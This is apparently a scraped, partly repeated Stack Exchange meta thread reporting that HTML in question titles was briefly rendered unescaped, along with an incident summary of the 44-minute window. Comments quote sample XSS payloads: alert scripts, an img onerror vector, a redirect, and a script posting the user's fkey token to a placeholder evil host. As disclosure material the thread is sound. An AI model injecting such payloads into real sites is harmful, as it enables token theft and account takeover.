This question cannot be rendered. Simple multi-colored textarea based editor
neither on question view, or list view.
The bug is triggered by adding <textarea>
or some other tag to the title, as in this revision, or this other question.
This question cannot be rendered. Simple multi-colored textarea based editor
neither on question view, or list view.
The bug is triggered by adding <textarea>
or some other tag to the title, as in this revision, or this other question.
The vulnerability has been closed (was related to turning off smarty-encoding for titles) and has been fixed (smarty-encoding is once again turned off network-wide).
The vulnerability was on the network for 44 minutes, from 10:02 GMT (the time that smarty-encoding was pushed to prod) until I deactivated it network-wide via site setting at 10:46 GMT.
I can confirm that only two posts were posted/edited during the vulnerability time-window that included <script>
tags or other XSS attack vectors, both by the same user, and both were Proof of Concept posts that included <script>alert('hello world');</script>
in the title. So there were no actual XSS attacks, no user data was compromised, etc.
<script>
. For example <img src="" onerror="alert('XSS')">
.
<script>$.post("https://someevilwebsite.invalid", {"fkey": StackExchange.options.user.fkey});</script>
would get deleted pretty quickly (due to it obviously not being a real question)...
Sep 1, 2021 at 23:27
<script...evil...>
do in this code?" could surely look like a real question.
It appears that it included script
tags as well. I was able to snap this screenshot at 2021-09-01T10:41:16Z
before it was fixed:
<script> document.location.href='';</script>
in it.